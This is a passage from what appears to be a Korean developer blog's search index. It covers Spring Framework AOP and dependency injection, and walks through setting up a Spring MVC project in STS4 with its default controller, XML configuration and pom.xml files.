같이 간략하게 작성이 가능하다.\nAopTestAspect @Component @Aspect public class AopTestAspect { private static final Logger logger = LoggerFactory.getLogger(AopTestAspect.class); @Around(value=\u0026#34;execution(* com.test.test.HomeController.*(..))\u0026#34;) public Object AopTest(ProceedingJoinPoint joinPoint) throws Throwable{ Date date = new Date(); date.getTime(); Object ret = joinPoint.proceed(); logger.info(\u0026#34;AOP start - \u0026#34;+date.toString()); return ret; } } ","permalink":"https://dig06161.github.io/2022/04/06/Spring-AOP/","summary":"\u003cp\u003e스프링은 코드의 반복 사용을 줄이고 효율적이며 결합도가 낮은 유연한 코드를 작성하길 원한다.\u003c/p\u003e\n\u003cp\u003e우리는 코드를 작성할때 크게 중요한 부분은 아니지만 어떤 값을 확인하는 등 여러 부분에서 중복으로 쓰이는 코드가 있을 수 있다. 예를 들면 로그인 세션이 남아 있는지, 또는 어떤 로직에서의 에러에 대한 로그를 핸들링 할때 등등 상황은 매우 다양하다.\u003c/p\u003e\n\u003cp\u003eOOP는 코드의 재활용성을 높이고 객체지향을 통해 코드 개발을 더 쉽게, 유지보수하기 편하게 하기 위해 시작되었다. 여기서 더 나아가 Spring에서는 AOP를 통해 비즈니스 로직 상에 중복적이지만 꼭 필요한 코드를 따로 묶어 외부로 분리해 메인 코드에 집중할 수 있게 해주는 기법이다.\u003c/p\u003e","title":"Spring Framework AOP(Aspect Oriented Programming)이란?"},{"content":"스프링 프레임워크에서는 DI, IOC, AOP 등이 사용되고 있다. 이번에는 스프링 프레임워크에서 사용하는 DI Dependency Injection, 의존주입에 대해서 포스팅 해보려 한다.\n의존 주입이라고 하면 영어를 직역한 표현같이 뭔가 잘 이해가 되질 않는다. 자바에서는 객체를 사용하고 이 객체를 다른 클레스에서 사용하려면 객체를 new 클레스이름 을 통해 생성해서 사용해야 한다.\nDI는 이 new를 통해 생성하는 부분을 자동으로 해준다 생각하면 편할 것 같다. 기본적인 개념은 객체를 직접 생성하는 것이 아니라 자동으로 생성되는 것이다.\n예를 들어 A라는 객체는 B, C클레스에서 사용된다 했을 때 B, C클레스는 A 객체를 받아와 사용하게 된다.\n여기서 우리가 JAVA를 사용할때 객체를 외부에서 사용할때 new 키워드를 사용하게 된다. 스프링에서는 DI를 이용해 객체를 주입 받는데 이것을 오늘 알아보자.\n스프링은 코드의 수정을 최소화 하고 유연한 사용을 위해 강한 결합을 피하고 느슨한 결합을 지향한다. 스프링은 class와 class간의 관계를 지양하려 한다. 객체와 객체간의 관계를 권장하며 상속의 경우 코드 작성의 제약이 많고 확장성을 떨어트려 피하는 것이 좋다. 그걸 위한 기법이 DI이다.\nDI를 사용하기 위한 기법은 3가지가 있다. 생성자 주입, 필드 주입, 수정자 주입이다.\n필드 주입 필드 주입은 빈으로 등록하는 객체를 다음과 같은 코드를 통해 주입해 사용한다.\npublic class Controller{ @Autowired private Service service; @RequestMapping(value = \u0026#34;/\u0026#34;, method = RequestMethod.GET) public String home(Locale locale, Model model) { service.services ..... } } 위의 코드를 보면 Service 객체를 @Autowired를 통해 주입받아 사용한다. 이처럼 엄청난 코드 간결성과 편의성 때문에 필자 뿐만 아니라 다른 회사에서도 많이 썼던 기법이라고 한다.\n필자는 코드의 간결성과 유연성을 위해 필드 주입을 주로 사용했는데, 스프링에서는 필드주입을 권장하지 않는다. 그 이유는 개발을 진행하다 보면 여러 서비스 객체들이 생기는데 이러한 객체들이 필드 주입으로 인해 순환 참조될 수 있기 때문이다. 예를 들어 A는 B를 참조하고 B는 C를 참조하는데 C가 A를 참조할 경우 계속적으로 참조를 위해 사이클을 돌다가 스텍 에러를 띄우게 된다. 필자는 아직 경험해 본적이 없지만 이러한 문제를 아직 직면하지 않았지만 5버전 스프링에서는 이러한 문제 때문에 생성자 주입을 권장한다.\n수정자 주입 수정자 주입방법은 setter를 이용한다. 예시는 다음과 같다\npublic class Controller{ private Service service; @Autowired public void setService(Service service){ this.service = service; } @RequestMapping(value = \u0026#34;/\u0026#34;, method = RequestMethod.GET) public String home(Locale locale, Model model) { service.services ..... } } 위와같이 Setter 수정자를 통해 사용하고자 하는 클레스에 객체를 주입 받았다. 이러한 방법은 의존관계 불변성을 위반할 수 있고, putlic 키워드로 메서드를 열어두기 때문에 좋은 방법이 아니다.\n생성자 주입 생성자 주입 기법은 스프링에서 가장 권장하고 있는 DI 방법이다. Lombok 라이브러리와 사용성이 용이하고 생성자 호출 시점에서 딱 1번 호출하고 final 키워드 사용이 가능해 불변성을 만족한다. 또한 주입할 데이터가 누락되어있을 경우 컴파일 오류를 띄워준다.\n예제는 다음과 같다.\npublic class Controller{ private final Service service; @Autowired public Controller(Service service) { this.service = service } @RequestMapping(value = \u0026#34;/\u0026#34;, method = RequestMethod.GET) public String home(Locale locale, Model model) { service.services ..... } } ","permalink":"https://dig06161.github.io/2022/04/04/Spring-DI/","summary":"\u003cp\u003e스프링 프레임워크에서는 DI, IOC, AOP 등이 사용되고 있다. 이번에는 스프링 프레임워크에서 사용하는 DI Dependency Injection, 의존주입에 대해서 포스팅 해보려 한다.\u003c/p\u003e\n\u003cp\u003e의존 주입이라고 하면 영어를 직역한 표현같이 뭔가 잘 이해가 되질 않는다. 자바에서는 객체를 사용하고 이 객체를 다른 클레스에서 사용하려면 객체를 new 클레스이름 을 통해 생성해서 사용해야 한다.\u003c/p\u003e\n\u003cp\u003eDI는 이 new를 통해 생성하는 부분을 자동으로 해준다 생각하면 편할 것 같다. 기본적인 개념은 객체를 직접 생성하는 것이 아니라 자동으로 생성되는 것이다.\u003c/p\u003e\n\u003cp\u003e\u003cbr\u003e\u003cbr\u003e\u003c/p\u003e","title":"Spring Framework DI(Dependency Injection)이란?"},{"content":" 스프링 부트 스프링 부트의 경우 프로젝트 생성이 매우 쉬운 편이다.\nhttps://start.spring.io/ 에 들어가면 spring initializr에서 프로젝트 설정을 할 수 있고 프로젝트 이름, 패키징 방식, 자바 버전, 여러 의존성 등 여러가지 설정을 추가 한 후에 프로젝트 파일을 다운 받을 수 있다.\n스프링 부트에 관해서는 다른 글로 다시 정리해 보겠다.\n스프링 프레임워크 스프링 프레임워크는 자체 개발도구 IDE를 제공한다. 이는 자바 IDE로 많이 알려진 Eclipse를 기반으로 하여 Spring Tools이라는 플러그인을 설치해 배포하는 방식이다.\nSpring Tools를 줄여 STS라 부르며 지금은 버전 4까지 나온 상황이다. 다만 버전 4는 스프링 부트 개발자들을 위해 만들어진 IDE로 스프링 MVC 프레임워크를 사용하려면 내부에서 STS 3 확장 플러그인을 설치해야 한다.\nhttps://spring.io/tools\n위 링크에서 STS 최신버전을 다운 받을 수 있다. Eclipse 기반 IDE이므로 자바가 미리 설치되어 있어야 한다.\nEclipse 뿐만 아니라 VScode도 지원하는데 여기는 STS3 플러그인이 없어 STS로 프로젝트를 생성하고 VScode로 편집을 진행한다.\n우선 IDE를 다운로드 하고 원하는 위치에 STS4라는 폴더를 만든후 IDE jar파일을 폴더에 넣어준다.\njar파일을 더블클릭 하면 자동으로 압축을 풀고 디렉터리에 STS 폴더를 생성후 IDE 실행에 필요한 파일들을 넣는다. 이후 이 폴더에 들어가면\nSpringToolSuite4.exe가 있다. 이 프로그램이 STS IDE이며 이를 더블클릭해 실행시킨다. 그러면 로딩된 후 워크스페이스를 설정하는 창이 뜨고 이를 자기가 개발할 폴더로 지정해준다. 로딩이 완료되면 익숙한 Eclipse와 비슷한 화면이 뜬다.\n여기서 spring boot는 Create new Spring starter Project 항목을 통해 프로젝트를 만들 수 있지만, Spring mvc 프로젝트는 항목이 보이지 않는다. 이제 STS3 플러그인을 설치해보자.\nHelp -\u0026gt; marketplace에 들어간 후 STS3을 검색한다.\n그럼\n이렇데 뜨는데 우리가 필요한 건 중간에 Spring Tools 3 add-On for Spring Tools4라는 것이다. Install 버튼을 통해 설치한다.\n중간에 라이센스에 동의하는지 확인창이 뜨는데 전부 agreement를 선택해 마무리 버튼을 누른다.\n그러면 잠시후에 STS에서 restart 버튼이 뜰것이다. 다시 시작한다.\n다시 시작한 STS에서 좌측 상단의 File -\u0026gt; New -\u0026gt; Other 을 선택하면 다음과 같은 화면이 뜬다.\n중간에 보면 Spring Legacy Project라는 항목이 있는데 이것이 Spring MVC 프로젝트이다.\n이것을 클릭하고 프로젝트 생성으로 들어가면 프로젝트 이름과 상세설정을 볼수 있다.\n맨 아래쪽의 Spring MVC Project를 클릭하고 프로젝트 생성을 누르면, maven에서 자동으로 필요한 의존성 파일들을 다운받고 프로젝트 빌드를 한다.\n필자의 환경은 OpenJDK 11 LTS를 사용했고 현 시점 STS에서 권장하는 버전으로 17에서 테스트 했을 때는 버전 오류가 발생해 다운그레이드 했다. 프로젝트 이름은 com.test.test로 설정했다\n다른 설명에 앞서 톰켓을 알맞는 버전으로 다운받아 STS4 폴더에 같이 넣어준다. 이후 STS4에서 File -\u0026gt; New -\u0026gt; Other 의 Server를 클릭해 다운로드한 톰켓의 버전에 맞에 셋팅을 해줘야 한다.\n그 다음, Window -\u0026gt; preferences -\u0026gt; JAVA -\u0026gt; Installed JREs 에서 설치한 자바 jdk를 로드 해준다.\n이후 General -\u0026gt; Workspace에서 인코딩 설정을 UTF-8로 바꿔준다. 그리고 General -\u0026gt; Context Type에서 text를 클릭한 후 인코딩 항목에 utf-8을 입력후 적용한다. 이후 WEB -\u0026gt; html, css 에서 인코딩 설정을 동일하게 utf-8로 바꿔준다.\n인코딩으로 생기는 문제를 최소한으로 하기 위해 미리 설정을 바꿔주겠다.\n다음은 Spring MVC의 기본 파일 구성이다.\n여기서 중점으로 보는 부분들은 src/main/java 아래에 있는 자바 코드와 src/main/webapp 하위 디렉터리 폴더와 파일들, pom.xml이 될것이다.\n기본적인 코드 작성은 com.test.test 에 작성하게 된다. 기본적으로 보이는 HomeController.java 의 코드는 다음과 같다.\npackage com.test.test; import java.text.DateFormat; import java.util.Date; import java.util.Locale; import org.slf4j.Logger; import org.slf4j.LoggerFactory; import org.springframework.stereotype.Controller; import org.springframework.ui.Model; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestMethod; /** * Handles requests for the application home page. */ @Controller public class HomeController { private static final Logger logger = LoggerFactory.getLogger(HomeController.class); /** * Simply selects the home view to render by returning its name. */ @RequestMapping(value = \u0026#34;/\u0026#34;, method = RequestMethod.GET) public String home(Locale locale, Model model) { logger.info(\u0026#34;Welcome home! The client locale is {}.\u0026#34;, locale); Date date = new Date(); DateFormat dateFormat = DateFormat.getDateTimeInstance(DateFormat.LONG, DateFormat.LONG, locale); String formattedDate = dateFormat.format(date); model.addAttribute(\u0026#34;serverTime\u0026#34;, formattedDate ); return \u0026#34;home\u0026#34;; } } 위와 같이 @Controller 어노테이션과 @RequestMapping 어노테이션으로 URL 요청을 처리하는 코드이다. 이러한 코드를 바탕으로 비즈니스 로직을 구성하고 사용자 요청에 따른 DB조회 처리구문을 작성하면 웹서버로 동작하게 될것이다.\nsrc/main/webapp 아래에 resources폴더는 우리가 웹 서버를 프로그래밍 하면서 정적 링크를 사용할 경로이다. 예를 들어 이미지 파일들이 될 것이다.\nWEB-INF -\u0026gt; spring 아래의 파일과 폴더들은 웹 서버 상에서는 접근이 불가능한 부분이다. 스프링의 기본적인 설정파일들이 담겨있다. WEB-INF 내부 파일들에 대해서 알아보자.\nappServlet -\u0026gt; servlet-context.xml에는 다음과 같은 내용의 코드가 들어있다.\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;beans:beans xmlns=\u0026#34;http://www.springframework.org/schema/mvc\u0026#34; xmlns:xsi=\u0026#34;http://www.w3.org/2001/XMLSchema-instance\u0026#34; xmlns:beans=\u0026#34;http://www.springframework.org/schema/beans\u0026#34; xmlns:context=\u0026#34;http://www.springframework.org/schema/context\u0026#34; xsi:schemaLocation=\u0026#34;http://www.springframework.org/schema/mvc https://www.springframework.org/schema/mvc/spring-mvc.xsd http://www.springframework.org/schema/beans https://www.springframework.org/schema/beans/spring-beans.xsd http://www.springframework.org/schema/context https://www.springframework.org/schema/context/spring-context.xsd\u0026#34;\u0026gt; \u0026lt;!-- DispatcherServlet Context: defines this servlet\u0026#39;s request-processing infrastructure --\u0026gt; \u0026lt;!-- Enables the Spring MVC @Controller programming model --\u0026gt; \u0026lt;annotation-driven /\u0026gt; \u0026lt;!-- Handles HTTP GET requests for /resources/** by efficiently serving up static resources in the ${webappRoot}/resources directory --\u0026gt; \u0026lt;resources mapping=\u0026#34;/resources/**\u0026#34; location=\u0026#34;/resources/\u0026#34; /\u0026gt; \u0026lt;!-- Resolves views selected for rendering by @Controllers to .jsp resources in the /WEB-INF/views directory --\u0026gt; \u0026lt;beans:bean class=\u0026#34;org.springframework.web.servlet.view.InternalResourceViewResolver\u0026#34;\u0026gt; \u0026lt;beans:property name=\u0026#34;prefix\u0026#34; value=\u0026#34;/WEB-INF/views/\u0026#34; /\u0026gt; \u0026lt;beans:property name=\u0026#34;suffix\u0026#34; value=\u0026#34;.jsp\u0026#34; /\u0026gt; \u0026lt;/beans:bean\u0026gt; \u0026lt;context:component-scan base-package=\u0026#34;com.test.test\u0026#34; /\u0026gt; \u0026lt;/beans:beans\u0026gt; 살펴보면 jsp 서블릿 처리에 관한 내용들이 보이고 MVC의 V에 해당하는 view에 해당하는 bean을 생성해 컨트롤러는 url요청에 대한 응답으로 /WEB-INF/views/에서 .jsp파일을 리턴하는 구조로 보인다.\n또 js, css, img 등을 위한 /resources/**구분도 보인다.\nroot-context.xml에는 다음과 같은 내용이 들어있다\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;beans xmlns=\u0026#34;http://www.springframework.org/schema/beans\u0026#34; xmlns:xsi=\u0026#34;http://www.w3.org/2001/XMLSchema-instance\u0026#34; xsi:schemaLocation=\u0026#34;http://www.springframework.org/schema/beans https://www.springframework.org/schema/beans/spring-beans.xsd\u0026#34;\u0026gt; \u0026lt;!-- Root Context: defines shared resources visible to all other web components --\u0026gt; \u0026lt;/beans\u0026gt; bean 선언에 관한 내용 말고는 추가된 내용은 없어보인다.\n그럴수 밖에 없는것이 root-context.xml는 DAO(Data Access Object), VO(Value Object)등 DB연동 관련 서비스에 관한 설정이 적용되는 부분으로 지금은 mybatis나 mariaDB 같이 외부 데이터베이스에 대해 설정을 한것이 없기 떄문이다.\nview -\u0026gt; home.jsp는 servlet-context.xml에서 설정한것 같이, 컨트롤러에 URL 요청이 들어오면 리턴되는 jsp 파일들이 저장되는 곳이다. MVC의 V인 view에서는 jsp를 통해 렌더링 된 화면을 서블릿을 통해 반환한다.\n\u0026lt;%@ taglib uri=\u0026#34;http://java.sun.com/jsp/jstl/core\u0026#34; prefix=\u0026#34;c\u0026#34; %\u0026gt; \u0026lt;%@ page session=\u0026#34;false\u0026#34; %\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Home\u0026lt;/title\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt; Hello world! \u0026lt;/h1\u0026gt; \u0026lt;P\u0026gt; The time on the server is ${serverTime}. \u0026lt;/P\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; 이런 코드를 가지고 있으며 이 상태로 프로젝트를 돌리면 아마 화면에서 인코딩 에러가 날 것이다. 따라서 개발중 생성되는 jsp파일들의 첫번째 줄에는\n\u0026lt;%@ page language=\u0026#34;java\u0026#34; contentType=\u0026#34;text/html; charset=utf-8\u0026#34; pageEncoding=\u0026#34;utf-8\u0026#34;%\u0026gt; 을 붙여 개발한다.\n다음 web.xml을 살펴보자.\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;web-app version=\u0026#34;2.5\u0026#34; xmlns=\u0026#34;http://java.sun.com/xml/ns/javaee\u0026#34; xmlns:xsi=\u0026#34;http://www.w3.org/2001/XMLSchema-instance\u0026#34; xsi:schemaLocation=\u0026#34;http://JAVA.sun.com/xml/ns/javaee https://java.sun.com/xml/ns/javaee/web-app_2_5.xsd\u0026#34;\u0026gt; \u0026lt;!-- The definition of the Root Spring Container shared by all Servlets and Filters --\u0026gt; \u0026lt;context-param\u0026gt; \u0026lt;param-name\u0026gt;contextConfigLocation\u0026lt;/param-name\u0026gt; \u0026lt;param-value\u0026gt;/WEB-INF/spring/root-context.xml\u0026lt;/param-value\u0026gt; \u0026lt;/context-param\u0026gt; \u0026lt;!-- Creates the Spring Container shared by all Servlets and Filters --\u0026gt; \u0026lt;listener\u0026gt; \u0026lt;listener-class\u0026gt;org.springframework.web.context.ContextLoaderListener\u0026lt;/listener-class\u0026gt; \u0026lt;/listener\u0026gt; \u0026lt;!-- Processes application requests --\u0026gt; \u0026lt;servlet\u0026gt; \u0026lt;servlet-name\u0026gt;appServlet\u0026lt;/servlet-name\u0026gt; \u0026lt;servlet-class\u0026gt;org.springframework.web.servlet.DispatcherServlet\u0026lt;/servlet-class\u0026gt; \u0026lt;init-param\u0026gt; \u0026lt;param-name\u0026gt;contextConfigLocation\u0026lt;/param-name\u0026gt; \u0026lt;param-value\u0026gt;/WEB-INF/spring/appServlet/servlet-context.xml\u0026lt;/param-value\u0026gt; \u0026lt;/init-param\u0026gt; \u0026lt;load-on-startup\u0026gt;1\u0026lt;/load-on-startup\u0026gt; \u0026lt;/servlet\u0026gt; \u0026lt;servlet-mapping\u0026gt; \u0026lt;servlet-name\u0026gt;appServlet\u0026lt;/servlet-name\u0026gt; \u0026lt;url-pattern\u0026gt;/\u0026lt;/url-pattern\u0026gt; \u0026lt;/servlet-mapping\u0026gt; \u0026lt;/web-app\u0026gt; 코드를 살펴보면 서블릿 설정과 컨텍스트관련 경로 설정을 잡아준다. WAS에서 필요한 Servlet설정들을 명시해주는 부분이다.\n프로젝트 이름이 test라 햇갈릴수 있지만\u0026hellip;. test 키워드로 /src/test 등 폴더들은 JUnit test에 사용된 코드와 class들이 저장되는 곳이다.\n마지막으로 pom.xml을 살펴보자. Spring은 Maven의 의존성을 통해 버전관리를 하고 원하는 라이브러리를 편하게 다운받을 수 있다. 이런 Maven의 설정에 관한 코드를 pom.xml에 작성한다. 스프링 버전, 자바 버전, 기타 라이브러리 등 모든 버전과 관련된 설정파일은 전부 여기에 작성된다.\n코드를 살펴보자.\n\u0026lt;?xml version=\u0026#34;1.0\u0026#34; encoding=\u0026#34;UTF-8\u0026#34;?\u0026gt; \u0026lt;project xmlns=\u0026#34;http://maven.apache.org/POM/4.0.0\u0026#34; xmlns:xsi=\u0026#34;http://www.w3.org/2001/XMLSchema-instance\u0026#34; xsi:schemaLocation=\u0026#34;http://maven.apache.org/POM/4.0.0 https://maven.apache.org/maven-v4_0_0.xsd\u0026#34;\u0026gt; \u0026lt;modelVersion\u0026gt;4.0.0\u0026lt;/modelVersion\u0026gt; \u0026lt;groupId\u0026gt;com.test\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;test\u0026lt;/artifactId\u0026gt; \u0026lt;name\u0026gt;test\u0026lt;/name\u0026gt; \u0026lt;packaging\u0026gt;war\u0026lt;/packaging\u0026gt; \u0026lt;version\u0026gt;1.0.0-BUILD-SNAPSHOT\u0026lt;/version\u0026gt; \u0026lt;properties\u0026gt; \u0026lt;java-version\u0026gt;11\u0026lt;/java-version\u0026gt; \u0026lt;org.springframework-version\u0026gt;5.3.17\u0026lt;/org.springframework-version\u0026gt; \u0026lt;org.aspectj-version\u0026gt;1.6.10\u0026lt;/org.aspectj-version\u0026gt; \u0026lt;org.slf4j-version\u0026gt;1.6.6\u0026lt;/org.slf4j-version\u0026gt; \u0026lt;/properties\u0026gt; \u0026lt;dependencies\u0026gt; \u0026lt;!-- Spring --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.springframework\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;spring-context\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;${org.springframework-version}\u0026lt;/version\u0026gt; \u0026lt;exclusions\u0026gt; \u0026lt;!-- Exclude Commons Logging in favor of SLF4j --\u0026gt; \u0026lt;exclusion\u0026gt; \u0026lt;groupId\u0026gt;commons-logging\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;commons-logging\u0026lt;/artifactId\u0026gt; \u0026lt;/exclusion\u0026gt; \u0026lt;/exclusions\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.springframework\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;spring-webmvc\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;${org.springframework-version}\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;!-- AspectJ --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.aspectj\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;aspectjrt\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;${org.aspectj-version}\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt;\t\u0026lt;!-- Logging --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.slf4j\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;slf4j-api\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;${org.slf4j-version}\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.slf4j\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;jcl-over-slf4j\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;${org.slf4j-version}\u0026lt;/version\u0026gt; \u0026lt;scope\u0026gt;runtime\u0026lt;/scope\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;org.slf4j\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;slf4j-log4j12\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;${org.slf4j-version}\u0026lt;/version\u0026gt; \u0026lt;scope\u0026gt;runtime\u0026lt;/scope\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;log4j\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;log4j\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.2.15\u0026lt;/version\u0026gt; \u0026lt;exclusions\u0026gt; \u0026lt;exclusion\u0026gt; \u0026lt;groupId\u0026gt;javax.mail\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;mail\u0026lt;/artifactId\u0026gt; \u0026lt;/exclusion\u0026gt; \u0026lt;exclusion\u0026gt; \u0026lt;groupId\u0026gt;javax.jms\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;jms\u0026lt;/artifactId\u0026gt; \u0026lt;/exclusion\u0026gt; \u0026lt;exclusion\u0026gt; \u0026lt;groupId\u0026gt;com.sun.jdmk\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;jmxtools\u0026lt;/artifactId\u0026gt; \u0026lt;/exclusion\u0026gt; \u0026lt;exclusion\u0026gt; \u0026lt;groupId\u0026gt;com.sun.jmx\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;jmxri\u0026lt;/artifactId\u0026gt; \u0026lt;/exclusion\u0026gt; \u0026lt;/exclusions\u0026gt; \u0026lt;scope\u0026gt;runtime\u0026lt;/scope\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;!-- @Inject --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;javax.inject\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;javax.inject\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;!-- Servlet --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;javax.servlet\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;servlet-api\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;2.5\u0026lt;/version\u0026gt; \u0026lt;scope\u0026gt;provided\u0026lt;/scope\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;javax.servlet.jsp\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;jsp-api\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;2.1\u0026lt;/version\u0026gt; \u0026lt;scope\u0026gt;provided\u0026lt;/scope\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;javax.servlet\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;jstl\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.2\u0026lt;/version\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;!-- Test --\u0026gt; \u0026lt;dependency\u0026gt; \u0026lt;groupId\u0026gt;junit\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;junit\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;4.7\u0026lt;/version\u0026gt; \u0026lt;scope\u0026gt;test\u0026lt;/scope\u0026gt; \u0026lt;/dependency\u0026gt; \u0026lt;/dependencies\u0026gt; \u0026lt;build\u0026gt; \u0026lt;plugins\u0026gt; \u0026lt;plugin\u0026gt; \u0026lt;artifactId\u0026gt;maven-eclipse-plugin\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;2.9\u0026lt;/version\u0026gt; \u0026lt;configuration\u0026gt; \u0026lt;additionalProjectnatures\u0026gt; \u0026lt;projectnature\u0026gt;org.springframework.ide.eclipse.core.springnature\u0026lt;/projectnature\u0026gt; \u0026lt;/additionalProjectnatures\u0026gt; \u0026lt;additionalBuildcommands\u0026gt; \u0026lt;buildcommand\u0026gt;org.springframework.ide.eclipse.core.springbuilder\u0026lt;/buildcommand\u0026gt; \u0026lt;/additionalBuildcommands\u0026gt; \u0026lt;downloadSources\u0026gt;true\u0026lt;/downloadSources\u0026gt; \u0026lt;downloadJavadocs\u0026gt;true\u0026lt;/downloadJavadocs\u0026gt; \u0026lt;/configuration\u0026gt; \u0026lt;/plugin\u0026gt; \u0026lt;plugin\u0026gt; \u0026lt;groupId\u0026gt;org.apache.maven.plugins\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;maven-compiler-plugin\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;2.5.1\u0026lt;/version\u0026gt; \u0026lt;configuration\u0026gt; \u0026lt;source\u0026gt;1.6\u0026lt;/source\u0026gt; \u0026lt;target\u0026gt;1.6\u0026lt;/target\u0026gt; \u0026lt;compilerArgument\u0026gt;-Xlint:all\u0026lt;/compilerArgument\u0026gt; \u0026lt;showWarnings\u0026gt;true\u0026lt;/showWarnings\u0026gt; \u0026lt;showDeprecation\u0026gt;true\u0026lt;/showDeprecation\u0026gt; \u0026lt;/configuration\u0026gt; \u0026lt;/plugin\u0026gt; \u0026lt;plugin\u0026gt; \u0026lt;groupId\u0026gt;org.codehaus.mojo\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;exec-maven-plugin\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.2.1\u0026lt;/version\u0026gt; \u0026lt;configuration\u0026gt; \u0026lt;mainClass\u0026gt;org.test.int1.Main\u0026lt;/mainClass\u0026gt; \u0026lt;/configuration\u0026gt; \u0026lt;/plugin\u0026gt; \u0026lt;/plugins\u0026gt; \u0026lt;pluginManagement\u0026gt; \u0026lt;plugins\u0026gt; \u0026lt;!--This plugin\u0026#39;s configuration is used to store Eclipse m2e settings only. It has no influence on the Maven build itself.--\u0026gt; \u0026lt;plugin\u0026gt; \u0026lt;groupId\u0026gt;org.eclipse.m2e\u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt;lifecycle-mapping\u0026lt;/artifactId\u0026gt; \u0026lt;version\u0026gt;1.0.0\u0026lt;/version\u0026gt; \u0026lt;configuration\u0026gt; \u0026lt;lifecycleMappingMetadata\u0026gt; \u0026lt;pluginExecutions\u0026gt; \u0026lt;pluginExecution\u0026gt; \u0026lt;pluginExecutionFilter\u0026gt; \u0026lt;groupId\u0026gt; org.apache.maven.plugins \u0026lt;/groupId\u0026gt; \u0026lt;artifactId\u0026gt; maven-compiler-plugin \u0026lt;/artifactId\u0026gt; \u0026lt;versionRange\u0026gt; [2.5.1,) \u0026lt;/versionRange\u0026gt; \u0026lt;goals\u0026gt; \u0026lt;goal\u0026gt;testCompile\u0026lt;/goal\u0026gt; \u0026lt;/goals\u0026gt; \u0026lt;/pluginExecutionFilter\u0026gt; \u0026lt;action\u0026gt; \u0026lt;ignore\u0026gt;\u0026lt;/ignore\u0026gt; \u0026lt;/action\u0026gt; \u0026lt;/pluginExecution\u0026gt; \u0026lt;/pluginExecutions\u0026gt; \u0026lt;/lifecycleMappingMetadata\u0026gt; \u0026lt;/configuration\u0026gt; \u0026lt;/plugin\u0026gt; \u0026lt;/plugins\u0026gt; \u0026lt;/pluginManagement\u0026gt; \u0026lt;/build\u0026gt; \u0026lt;/project\u0026gt; pom.xml에 정의되어 있는 의존성에 대한 버전정보는 https://mvnrepository.com/ 에서 확인이 가능하고 원하는 버전을 사용할 수 있다. 다만 주의해야 할 점이 Spring 버전과 openjdk 버전 등 여러 라이브러리의 버전을 